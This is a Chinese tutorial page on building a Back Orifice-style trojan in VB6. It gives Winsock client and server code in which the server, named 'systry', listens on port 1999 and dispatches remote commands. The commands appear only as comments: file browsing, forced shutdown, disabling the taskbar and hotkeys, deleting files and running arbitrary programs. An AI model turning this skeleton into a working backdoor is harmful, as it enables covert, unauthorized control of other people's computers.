浅谈用VB6.0编写BO程序

页面导航:首页 > 软件编程 > vb.net > 浅谈用VB6.0编写BO程序

浅谈用VB6.0编写BO程序

来源: 作者: 时间:2016-02-05 12:32 【

BO又称“特洛伊木马”,是在美国一次黑客技术讨论会上由一个黑客组织推出的。它其实是一种客户机/服务器程序,其利用的原理就是:在本机直接启动运行的程序拥有与使用者相同的

 

 

BO又称特洛伊木马,是在美国一次技术讨论会上由一个黑客组织推出的。它其实是一种客户机/服务器程序,其利用的原理就是:在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用VB来实现它。

---- 使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。

 

---- 在Client工程中建立一个窗体,加载WinSock控件,称为tcpClient,协议选择TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:

 

Private Sub cmdConnect_Click()

If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then

MsgBox ("请输入主机名或主机IP地址。")

Exit Sub

Else

If Len(Text1.Text) > 0 Then

tcpClient.RemoteHost = Text1.Text

Else

tcpClient.RemoteHost = Text2.Text

End If

End If

tcpClient.Connect

Timer1.Enabled = True

End Sub

 

 

---- 连接建立之后就可以使用DataArrival事件处理所收到的数据了。

---- 在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,协议选择TCP,在Form_Load事件中加入如下代码:

 

Private Sub Form_Load()

tcpServer.LocalPort = 1999

tcpServer.Listen

End Sub

 

 

---- 准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程序的请求,代码如下:

Private Sub tcpServer_ConnectionRequest

(ByVal requestID As Long)

If tcpServer.State < > sckClosed Then

tcpServer.Close检查控件的 State 属性是否为关闭的。

End If 如果不是,在接受新的连接之前先关闭此连接。

tcpServer.Accept requestID

End Sub

 

 

 

---- 这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。

---- 建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,、上装文件;提取、创建、修改目标计算机注册表关键字;在远端屏幕上显示消息。DataArrival事件程序如下:

 

Private Sub tcpServer_DataArrival

(ByVal bytesTotal As Long)

Dim strData As String

Dim I As Long

Dim mKey As String

tcpServer.GetData strData

‘接收数据并存入strData

For I = 1 To Len(strData)

‘分离strData中的命令

If Mid(strData, I, 1) = "@" Then

mKey = Left(strData, I - 1)

‘把命令ID号存入mKey

 

‘把命令参数存入strData

strData = Right(strData, Len(strData) - I)

Exit For

End If

Next I

Select Case Val(mKey)

Case 1

‘驱动器名、目录名、文件名

Case 2

强制关闭服务器端的计算机

Case 3

强制重启服务器端的计算机

Case 4

屏蔽任务栏窗口;

Case 5

屏蔽开始菜单;

Case 6

按照客户机端传过来的文件名或目录名,而删除它;

Case 7

屏蔽热启动键;

Case 8

运行服务器端的任何程序

End Select

End Sub

Tags:

相关文章

    文章评论

    
    <